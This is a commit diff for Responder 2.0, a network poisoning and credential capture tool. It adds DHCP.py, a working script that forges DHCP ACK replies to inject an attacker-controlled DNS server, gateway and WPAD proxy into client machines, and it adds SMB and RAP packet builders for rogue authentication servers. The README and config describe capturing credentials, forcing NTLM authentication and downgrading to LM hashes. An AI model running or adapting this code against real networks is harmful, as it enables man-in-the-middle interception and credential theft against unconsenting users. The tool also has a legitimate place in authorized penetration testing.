initial commit

merged with latest version

CHANGELOG

@@ -1,4 +1,5 @@
 ChangeLog Responder 2.0:
+- Added: MDNS Poisoner.
 - Added: -F command line switch to force NTLM authentication on PAC file retrieval.
 - Added: Ability to inject custom HTML in HTTP responses.
 - Added: New WPAD proxy server. Enabled by default.

DHCP.py

@@ -0,0 +1,325 @@
+#! /usr/bin/env python
+# This utility is part of NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+import sys,struct,socket,re,optparse
+from odict import OrderedDict
+from socket import inet_aton, inet_ntoa
+
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
+                               prog=sys.argv[0],
+                               )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
+
+parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
+
+parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
+
+parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
+
+parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
+
+parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+
+parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
+
+parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
+
+parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
+
+options, args = parser.parse_args()
+
+def ShowWelcome():
+    Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)'
+    print Message
+
+if options.OURIP is None:
+   print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.Interface is None:
+   print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.RouterIP is None:
+   print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.DNSIP is None:
+   print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.DNSIP2 is None:
+   print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+ShowWelcome()
+
+BCAST = "255.255.255.255"
+Interface = options.Interface
+OURIP = options.OURIP
+ROUTERIP = options.RouterIP
+NETMASK = options.Netmask
+DHCPSERVER = options.OURIP
+DNSIP = options.DNSIP
+DNSIP2 = options.DNSIP2
+DNSNAME = options.DNSNAME
+WPADSRV = options.WPAD
+Spoof = options.Spoof
+Request = options.Request
+
+if Spoof:
+   DHCPSERVER = ROUTERIP
+
+def SpoofIP(Spoof):
+    if Spoof:
+       return ROUTERIP
+    else:
+       return OURIP 
+   
+
+class Packet():
+    fields = OrderedDict([
+        ("data", ""),
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+
+#####################################################################
+# Server Stuff
+#####################################################################
+
+class IPHead(Packet):
+    fields = OrderedDict([
+        ("Version",           "\x45"),
+        ("DiffServices",      "\x00"),
+        ("TotalLen",          "\x00\x00"),
+        ("Ident",             "\x00\x00"),
+        ("Flags",             "\x00\x00"),
+        ("TTL",               "\x40"),
+        ("Protocol",          "\x11"),
+        ("Checksum",          "\x00\x00"),
+        ("SrcIP",             ""),
+        ("DstIP",             ""),
+    ])
+
+class UDP(Packet):
+    fields = OrderedDict([
+        ("SrcPort",           "\x00\x43"),
+        ("DstPort",           "\x00\x44"),
+        ("Len",               "\x00\x00"),
+        ("Checksum",          "\x00\x00"),
+        ("Data",              "\x00\x00"),
+    ])
+
+    def calculate(self):
+        self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
+
+class DHCPACK(Packet):
+    fields = OrderedDict([
+        ("MessType",          "\x02"),
+        ("HdwType",           "\x01"),
+        ("HdwLen",            "\x06"),
+        ("Hops",              "\x00"),
+        ("Tid",               "\x22\x1b\xe0\x1a"),
+        ("ElapsedSec",        "\x00\x00"),
+        ("BootpFlags",        "\x00\x00"),
+        ("ActualClientIP",    "\x00\x00\x00\x00"),
+        ("GiveClientIP",      "\x00\x00\x00\x00"),
+        ("NextServerIP",      "\x00\x00\x00\x00"),
+        ("RelayAgentIP",      "\x00\x00\x00\x00"),
+        ("ClientMac",         "\xb8\x76\x3f\xbd\xdd\x05"),
+        ("ClientMacPadding",  "\x00" *10),
+        ("ServerHostname",    "\x00" * 64),
+        ("BootFileName",      "\x00" * 128),
+        ("MagicCookie",       "\x63\x82\x53\x63"),
+        ("Op53",              "\x35\x01\x05"),    #Msgtype(ACK)
+        ("Op54",              "\x36"),
+        ("Op54Len",           "\x04"),
+        ("Op54Str",           ""),                #DHCP Server
+        ("Op51",              "\x33"),
+        ("Op51Len",           "\x04"),
+        ("Op51Str",           "\x00\x00\xff\xff"), #Lease time, 1 day.
+        ("Op1",               "\x01"),
+        ("Op1Len",            "\x04"),
+        ("Op1Str",            ""),                  #Netmask
+        ("Op15",              "\x0f"),
+        ("Op15Len",           "\x0e"),
+        ("Op15Str",           DNSNAME),             #DNS Name
+        ("Op3",               "\x03"),
+        ("Op3Len",            "\x04"),
+        ("Op3Str",            ""),                  #Router
+        ("Op6",               "\x06"),
+        ("Op6Len",            "\x08"),
+        ("Op6Str",            ""),                  #DNS Servers
+        ("Op252",              "\xfc"),
+        ("Op252Len",           "\x04"),
+        ("Op252Str",           WPADSRV),            #Wpad Server.
+        ("Op255",             "\xff"),
+
+    ])
+
+    def calculate(self):
+        self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+        self.fields["Op1Str"] = inet_aton(NETMASK)
+        self.fields["Op3Str"] = inet_aton(ROUTERIP)
+        self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+        self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+        self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+class DHCPInformACK(Packet):
+    fields = OrderedDict([
+        ("MessType",          "\x02"),
+        ("HdwType",           "\x01"),
+        ("HdwLen",            "\x06"),
+        ("Hops",              "\x00"),
+        ("Tid",               "\x22\x1b\xe0\x1a"),
+        ("ElapsedSec",        "\x00\x00"),
+        ("BootpFlags",        "\x00\x00"),
+        ("ActualClientIP",    "\x00\x00\x00\x00"),
+        ("GiveClientIP",      "\x00\x00\x00\x00"),
+        ("NextServerIP",      "\x00\x00\x00\x00"),
+        ("RelayAgentIP",      "\x00\x00\x00\x00"),
+        ("ClientMac",         "\xb8\x76\x3f\xbd\xdd\x05"),
+        ("ClientMacPadding",  "\x00" *10),
+        ("ServerHostname",    "\x00" * 64),
+        ("BootFileName",      "\x00" * 128),
+        ("MagicCookie",       "\x63\x82\x53\x63"),
+        ("Op53",              "\x35\x01\x05"),      #Msgtype(ACK)
+        ("Op54",              "\x36"),
+        ("Op54Len",           "\x04"),
+        ("Op54Str",           ""),                  #DHCP Server
+        ("Op1",               "\x01"),
+        ("Op1Len",            "\x04"),
+        ("Op1Str",            ""),                  #Netmask
+        ("Op15",              "\x0f"),
+        ("Op15Len",           "\x0e"),
+        ("Op15Str",           DNSNAME),             #DNS Name
+        ("Op3",               "\x03"),
+        ("Op3Len",            "\x04"),
+        ("Op3Str",            ""),                  #Router
+        ("Op6",               "\x06"),
+        ("Op6Len",            "\x08"),
+        ("Op6Str",            ""),                  #DNS Servers
+        ("Op252",              "\xfc"),
+        ("Op252Len",           "\x04"),
+        ("Op252Str",           WPADSRV),            #Wpad Server.
+        ("Op255",             "\xff"),
+
+    ])
+
+    def calculate(self):
+        self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+        self.fields["Op1Str"] = inet_aton(NETMASK)
+        self.fields["Op3Str"] = inet_aton(ROUTERIP)
+        self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+        self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+        self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+def ParseMac(data):
+    return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
+
+def IsUDP(data):
+    if data[0][23:24] == "\x11":
+       return True
+    if data[0][23:24] == "\x06":
+       return False
+
+def ParseSrcDSTAddr(data):
+     SrcIP = inet_ntoa(data[0][26:30])
+     DstIP = inet_ntoa(data[0][30:34])
+     SrcPort = struct.unpack('>H',data[0][34:36])[0]
+     DstPort = struct.unpack('>H',data[0][36:38])[0]
+     return SrcIP,SrcPort,DstIP,DstPort
+
+def FindIP(data):
+    IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
+    return ''.join(IP[0:4])
+    
+def ParseDHCPCode(data):
+    PTid = data[4:8]
+    Seconds = data[8:10]
+    CurrentIP = inet_ntoa(data[12:16])
+    RequestedIP = inet_ntoa(data[16:20])
+    MacAddr = data[28:34]
+    OpCode = data[242:243]
+    RequestIP = data[245:249]
+    if OpCode == "\x08":
+       i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
+       p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
+       p.calculate()
+       u = UDP(Data = p)
+       u.calculate()
+       for x in range(1):
+          SendDHCP(str(i)+str(u),(CurrentIP,68))
+       return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
+
+    if OpCode == "\x03":
+       if Request:
+          IP = FindIP(data)
+          if IP:
+             i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
+             p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds)
+             p.calculate()
+             u = UDP(Data = p)
+             u.calculate()
+             for x in range(1):
+                SendDHCP(str(i)+str(u),("255.255.255.255",0))
+             return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
+    else:
+       return False
+
+
+def SendDHCP(packet,Host):
+   Protocol = 0x0800
+   s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+   s.sendto(packet, Host)
+
+def SniffUDPMac():
+    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+    Protocol = 0x0800
+    s.bind((Interface, Protocol))
+    while True:
+       data = s.recvfrom(65535)
+       if IsUDP(data):
+          SrcIP,SrcPort,DstIP,DstPort =  ParseSrcDSTAddr(data)
+          if SrcPort == 67 or DstPort == 67:
+             Message = ParseDHCPCode(data[0][42:])
+             if Message:
+                print ParseMac(data)
+                print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
+                print Message
+
+
+SniffUDPMac()
+

RAPLANMANPackets.py

@@ -0,0 +1,160 @@
+import struct
+from odict import OrderedDict
+
+def longueur(payload):
+    length = struct.pack(">i", len(''.join(payload)))
+    return length
+
+class Packet():
+    fields = OrderedDict([
+        ("data", ""),
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+
+class SMBHeader(Packet):
+    fields = OrderedDict([
+        ("proto", "\xff\x53\x4d\x42"),
+        ("cmd", "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1", "\x08"),
+        ("flag2", "\x01\x00"),
+        ("pidhigh", "\x00\x00"),
+        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved", "\x00\x00"),
+        ("tid", "\x00\x00"),
+        ("pid", "\x3c\x1b"),
+        ("uid", "\x00\x00"),
+        ("mid", "\x00\x00"),
+    ])
+
+class SMBNegoData(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x00"),
+        ("bcc", "\x54\x00"),
+        ("separator1","\x02" ),
+        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
+        ("separator2","\x02"),
+        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
+    ])
+    def calculate(self):
+        CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
+        self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
+
+class SMBSessionData(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0a"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00"),
+        ("andxoffset", "\x00\x00"),
+        ("maxbuff","\xff\xff"),
+        ("maxmpx", "\x02\x00"),
+        ("vcnum","\x01\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("PasswordLen","\x18\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("bcc","\x3b\x00"),
+        ("AccountPassword",""),
+        ("AccountName",""),
+        ("AccountNameTerminator","\x00"),
+        ("PrimaryDomain","WORKGROUP"),
+        ("PrimaryDomainTerminator","\x00"),
+        ("NativeOs","Unix"),
+        ("NativeOsTerminator","\x00"),
+        ("NativeLanman","Samba"),
+        ("NativeLanmanTerminator","\x00"),
+
+    ])
+    def calculate(self): 
+        CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
+        self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
+        self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
+
+class SMBTreeConnectData(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x04"),
+        ("AndXCommand", "\xff"),
+        ("Reserved","\x00" ),
+        ("Andxoffset", "\x00\x00"),
+        ("Flags","\x08\x00"),
+        ("PasswdLen", "\x01\x00"),
+        ("Bcc","\x1b\x00"),
+        ("Passwd", "\x00"),
+        ("Path",""),
+        ("PathTerminator","\x00"),
+        ("Service","?????"),
+        ("Terminator", "\x00"),
+
+    ])
+    def calculate(self): 
+        self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
+        BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
+        self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
+
+class RAPNetServerEnum3Data(Packet):
+    fields = OrderedDict([
+        ("Command", "\xd7\x00"),
+        ("ParamDescriptor", "WrLehDzz"),
+        ("ParamDescriptorTerminator", "\x00"),
+        ("ReturnDescriptor","B16BBDz"),
+        ("ReturnDescriptorTerminator", "\x00"),
+        ("DetailLevel", "\x01\x00"),
+        ("RecvBuff","\xff\xff"),
+        ("ServerType", "\x00\x00\x00\x80"),
+        ("TargetDomain","SMB"),
+        ("RapTerminator","\x00"),
+        ("TargetName","ABCD"),
+        ("RapTerminator2","\x00"),
+    ])
+
+class SMBTransRAPData(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x0e"),
+        ("TotalParamCount", "\x24\x00"),
+        ("TotalDataCount","\x00\x00" ),
+        ("MaxParamCount", "\x08\x00"),
+        ("MaxDataCount","\xff\xff"),
+        ("MaxSetupCount", "\x00"),
+        ("Reserved","\x00\x00"),
+        ("Flags", "\x00"),
+        ("Timeout","\x00\x00\x00\x00"),
+        ("Reserved1","\x00\x00"),
+        ("ParamCount","\x24\x00"),
+        ("ParamOffset", "\x5a\x00"),
+        ("DataCount", "\x00\x00"),
+        ("DataOffset", "\x7e\x00"),
+        ("SetupCount", "\x00"),
+        ("Reserved2", "\x00"),
+        ("Bcc", "\x3f\x00"),
+        ("Terminator", "\x00"),
+        ("PipeName", "\\PIPE\\LANMAN"),
+        ("PipeTerminator","\x00\x00"),
+        ("Data", ""),
+
+    ])
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["Data"]))%2==0:
+           self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["PipeTerminator"] = "\x00\x00\x00"
+        ##Convert Path to Unicode first before any Len calc.
+        self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
+        ##Data Len
+        self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
+        self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
+        ##Packet len
+        FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
+
+        self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
+        ##Bcc Buff Len
+        BccComplete    = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
+        self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

README.md

@@ -5,7 +5,7 @@ http://www.spiderlabs.com
 INTRODUCTION
 ============
 
-This tool is first an LLMNR and NBT-NS responder, it will answer to 
+This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to 
 *specific* NBT-NS (NetBIOS Name Service) queries based on their name 
 suffix (see: http://support.microsoft.com/kb/163409). By default, the
 tool will only answers to File Server Service request, which is for SMB.
@@ -86,6 +86,8 @@ FEATURES
 
 - WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
 
+- Analyze mode: This module allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning any requests. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet. 
+
 - Responder is now using a configuration file. See Responder.conf.
 
 - Built-in POP3 auth server. This module will collect POP3 plaintext credentials
@@ -120,7 +122,7 @@ Running this tool:
 
 Usage Example:
 
-python Responder.py -i 10.20.30.40 -r On -I eth0
+python Responder.py -i 10.20.30.40 -r On -F On -w On
 
 Options List:
 
@@ -145,7 +147,7 @@ Options List:
                                      host that issued an NBT-NS or LLMNR query.
 
 -w On, --wpad=On                     Set this to On or Off to start/stop the WPAD rogue
-                                     proxy server. Default value is On
+                                     proxy server. Default value is Off
 
 --lm=Off                             Set this to On if you want to force LM hashing
                                      downgrade for Windows XP/2003 and earlier. Default value is Off
@@ -154,6 +156,12 @@ Options List:
                                      wpad.dat file retrieval. This might cause a login prompt in
                                      some specific cases. Default value is Off
 
+-A, --analyze                        Analyze mode. This option allows you to see NBT-NS,BROWSER, 
+                                     LLMNR requests from which workstation to which workstation 
+                                     without poisoning any requests. Also, you can map domains, 
+                                     MSSQL servers, workstations passively.
+
+
 -v                                   More verbose
 
 
@@ -162,6 +170,7 @@ For more information read these posts:
 http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
 http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
 http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
+http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html
 
 Follow our latest updates on twitter:
 https://twitter.com/PythonResponder

Responder.conf

@@ -3,6 +3,7 @@
 ;Set these values to On or Off, so you can control which rogue authentication server is turned on.
 SQL = On
 SMB = On
+Kerberos = On
 FTP = On
 POP = On
 ;;Listen on 25/TCP, 587/TCP
@@ -19,9 +20,12 @@ Challenge = 1122334455667788
 ;Set this to change the default logging file 
 SessionLog = Responder-Session.log
 ;
-;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
 ;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
 RespondTo =
+;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
+;RespondTo = WPAD,DEV,PROD,SQLINT
+RespondToName =
 ;
 [HTTP Server]
 ;;

SMBPackets.py

@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
         self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
         self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
 ##################################################################################
-#SMB Negotiate Answer LM packet.
+#SMB Negotiate Answer ESS NTLM only packet.
 class SMBNegoAns(Packet):
     fields = OrderedDict([
         ("Wordcount",    "\x11"),
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
         ("NegHintFinalASNId",         "\x1b"), 
         ("NegHintFinalASNLen",        "\x15"),
         ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
-##  END
-
     ])
 
     def calculate(self):
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
         self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
 
 ################################################################################
+#SMB Negotiate Answer ESS NTLM and Kerberos packet.
+class SMBNegoKerbAns(Packet):
+    fields = OrderedDict([
+        ("Wordcount",                "\x11"),
+        ("Dialect",                  ""),
+        ("Securitymode",             "\x03"),
+        ("MaxMpx",                   "\x32\x00"),
+        ("MaxVc",                    "\x01\x00"),
+        ("MaxBuffSize",              "\x04\x41\x00\x00"),
+        ("MaxRawBuff",               "\x00\x00\x01\x00"),
+        ("SessionKey",               "\x00\x00\x00\x00"),
+        ("Capabilities",             "\xfd\xf3\x01\x80"),
+        ("SystemTime",               "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
+        ("SrvTimeZone",               "\xf0\x00"),
+        ("KeyLen",                    "\x00"),
+        ("Bcc",                       "\x57\x00"),
+        ("Guid",                      "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
+        ("InitContextTokenASNId",     "\x60"),
+        ("InitContextTokenASNLen",    "\x5b"),
+        ("ThisMechASNId",             "\x06"),
+        ("ThisMechASNLen",            "\x06"),
+        ("ThisMechASNStr",            "\x2b\x06\x01\x05\x05\x02"),
+        ("SpNegoTokenASNId",          "\xA0"),
+        ("SpNegoTokenASNLen",         "\x51"),
+        ("NegTokenASNId",             "\x30"),
+        ("NegTokenASNLen",            "\x4f"),
+        ("NegTokenTag0ASNId",         "\xA0"),
+        ("NegTokenTag0ASNLen",        "\x30"),
+        ("NegThisMechASNId",          "\x30"),
+        ("NegThisMechASNLen",         "\x2e"),
+        ("NegThisMech1ASNId",         "\x06"),
+        ("NegThisMech1ASNLen",        "\x09"),
+        ("NegThisMech1ASNStr",        "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
+        ("NegThisMech2ASNId",         "\x06"),
+        ("NegThisMech2ASNLen",        "\x09"),
+        ("NegThisMech2ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
+        ("NegThisMech3ASNId",         "\x06"),
+        ("NegThisMech3ASNLen",        "\x0a"),
+        ("NegThisMech3ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
+        ("NegThisMech4ASNId",         "\x06"),
+        ("NegThisMech4ASNLen",        "\x09"),
+        ("NegThisMech4ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
+        ("NegTokenTag3ASNId",         "\xA3"),
+        ("NegTokenTag3ASNLen",        "\x1b"),
+        ("NegHintASNId",              "\x30"),
+        ("NegHintASNLen",             "\x19"),
+        ("NegHintTag0ASNId",          "\xa0"),
+        ("NegHintTag0ASNLen",         "\x17"),
+        ("NegHintFinalASNId",         "\x1b"), 
+        ("NegHintFinalASNLen",        "\x15"),
+        ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
+    ])
 
+    def calculate(self):
+
+        CompleteBCCLen1 =  str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
